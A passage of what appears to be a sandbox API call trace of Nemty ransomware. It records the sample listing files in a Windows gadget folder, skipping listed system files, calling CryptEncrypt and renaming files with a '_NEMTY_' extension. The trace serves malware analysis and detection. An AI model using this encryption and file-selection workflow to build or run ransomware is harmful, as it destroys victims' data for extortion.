returned 1 [0111.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0111.823] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\calendar_ring_docked.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\calendar_ring_docked.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\calendar_ring_docked.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\calendar_ring_docked.png._nemty_kgobjgd_")) returned 0 [0111.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0111.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340498 | out: hHeap=0x4f90000) returned 1 [0111.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0111.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0111.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0111.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0111.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0111.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0111.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0111.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0111.823] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x824f69e6, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x824f69e6, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28396d47, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x5dc, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="calendar_single.png", cAlternateFileName="")) returned 1 [0111.823] lstrcmpiW (lpString1="calendar_single.png", lpString2=".") returned 1 [0111.823] lstrcmpiW (lpString1="calendar_single.png", lpString2="..") returned 1 [0111.823] lstrcmpiW (lpString1="calendar_single.png", lpString2="...") returned 1 [0111.823] lstrcmpiW (lpString1="calendar_single.png", lpString2="windows") returned -1 [0111.823] lstrcmpiW (lpString1="calendar_single.png", lpString2="$RECYCLE.BIN") returned 1 [0111.823] lstrcmpiW (lpString1="calendar_single.png", lpString2="rsa") returned -1 [0111.823] lstrcmpiW (lpString1="calendar_single.png", lpString2="NTDETECT.COM") returned -1 [0111.823] lstrcmpiW (lpString1="calendar_single.png", lpString2="ntldr") returned -1 [0111.823] lstrcmpiW (lpString1="calendar_single.png", lpString2="MSDOS.SYS") returned -1 [0111.823] lstrcmpiW (lpString1="calendar_single.png", lpString2="IO.SYS") returned -1 [0111.823] lstrcmpiW (lpString1="calendar_single.png", lpString2="boot.ini") returned 1 [0111.823] lstrcmpiW (lpString1="calendar_single.png", lpString2="boot.ini") returned 1 [0111.823] lstrcmpiW (lpString1="calendar_single.png", lpString2="AUTOEXEC.BAT") returned 1 [0111.823] lstrcmpiW (lpString1="calendar_single.png", lpString2="ntuser.dat") returned -1 [0111.823] lstrcmpiW (lpString1="calendar_single.png", lpString2="desktop.ini") returned -1 [0111.823] lstrcmpiW (lpString1="calendar_single.png", lpString2="CONFIG.SYS") returned -1 [0111.823] lstrcmpiW (lpString1="calendar_single.png", lpString2="RECYCLER") returned -1 [0111.823] lstrcmpiW (lpString1="calendar_single.png", lpString2="BOOTSECT.BAK") returned 1 [0111.823] lstrcmpiW (lpString1="calendar_single.png", lpString2="bootmgr") returned 1 [0111.824] lstrcmpiW (lpString1="calendar_single.png", lpString2="programdata") returned -1 [0111.824] lstrcmpiW (lpString1="calendar_single.png", lpString2="appdata") returned 1 [0111.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0111.824] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar_single.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0111.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0111.824] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar_single.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="calendar_single.png", lpUsedDefaultChar=0x0) returned 19 [0111.824] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0111.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0111.824] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar_single.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0111.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0111.824] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar_single.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="calendar_single.png", lpUsedDefaultChar=0x0) returned 19 [0111.824] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0111.824] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0111.824] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0111.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0111.824] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar_single.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0111.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0111.824] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar_single.png", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="calendar_single.png", lpUsedDefaultChar=0x0) returned 19 [0111.824] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0111.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0111.824] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar_single.png", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0111.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0111.824] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar_single.png", cchWideChar=19, lpMultiByteStr=0x4f9ed58, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="calendar_single.png", lpUsedDefaultChar=0x0) returned 19 [0111.824] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0111.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340198 [0111.824] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0111.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340250 [0111.824] Sleep (dwMilliseconds=0x5) [0111.834] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf64e2610, dwHighDateTime=0x1d561e7)) [0111.834] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf64e2610, dwHighDateTime=0x1d561e7)) [0111.834] GetLastError () returned 0x5 [0111.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0111.834] GetLastError () returned 0x5 [0111.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0111.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0111.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0111.834] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0111.834] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0111.835] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0111.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340308 [0111.835] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340308, pcchString=0x653e91c | out: pszString="qtuUWa2C0wcHJqw2NtVI13eoEfoyYq9xWQtVnyMm1byQxFyGDXf51d8NoVqgyJJ6\r\n141ZXmdPrEv7GnKUgDXTMCBqHEJebsiyJWkub4qrsbgeNdWOWpwHKyRa6y6xdKtq\r\nlfnxB2D3xz9z/mWWWlsenplV/21ughzNSRWUBXbff54CiGqQyR8TZ2FxRuHfulBw\r\nbxIy7ErTK6Jgxu4hhb11AMPp8ziukUobaj2k8pmnXLk2YxlARsX1jssEYMnpvjJX\r\n9RPXl7zQNbxTgqH0iYTbVCTCyh6QAI2YtGT1MOVppfayDgvaSESW/s8hq1WKP7Fd\r\nvRxoKafpJrYitTjRdenBiA==\r\n", pcchString=0x653e91c) returned 1 [0111.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0111.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0111.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0111.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0111.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340308 [0111.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0111.835] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\calendar_single.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\calendar_single.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.836] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0111.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0111.836] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.836] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.847] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.847] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.847] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.847] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.856] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.856] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.856] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.857] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.866] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.866] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.866] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.866] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.876] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.876] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.876] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.876] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.885] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.885] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.885] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.885] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.895] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.895] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.895] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.895] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.905] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.906] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.906] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.906] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.915] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.915] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.915] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.915] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.925] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.925] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.925] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.925] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.935] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.935] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.936] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.936] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.942] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.942] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.942] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.942] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.948] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.948] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.948] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.948] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340308, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.948] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0111.948] CloseHandle (hObject=0xffffffff) returned 0 [0111.948] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340478 [0111.948] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0111.948] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0111.948] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0111.948] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0111.948] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0111.948] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6343fe8 [0111.948] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63440a0 [0111.948] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0111.948] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0111.948] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\calendar_single.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\calendar_single.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\calendar_single.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\calendar_single.png._nemty_kgobjgd_")) returned 0 [0111.949] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440a0 | out: hHeap=0x4f90000) returned 1 [0111.949] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340478 | out: hHeap=0x4f90000) returned 1 [0111.949] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0111.949] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0111.949] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0111.949] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0111.949] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0111.949] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340250 | out: hHeap=0x4f90000) returned 1 [0111.949] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0111.949] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0111.949] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8251cb43, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8251cb43, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28396d47, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xdd8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="calendar_single_bkg.png", cAlternateFileName="")) returned 1 [0111.949] lstrcmpiW (lpString1="calendar_single_bkg.png", lpString2=".") returned 1 [0111.949] lstrcmpiW (lpString1="calendar_single_bkg.png", lpString2="..") returned 1 [0111.949] lstrcmpiW (lpString1="calendar_single_bkg.png", lpString2="...") returned 1 [0111.949] lstrcmpiW (lpString1="calendar_single_bkg.png", lpString2="windows") returned -1 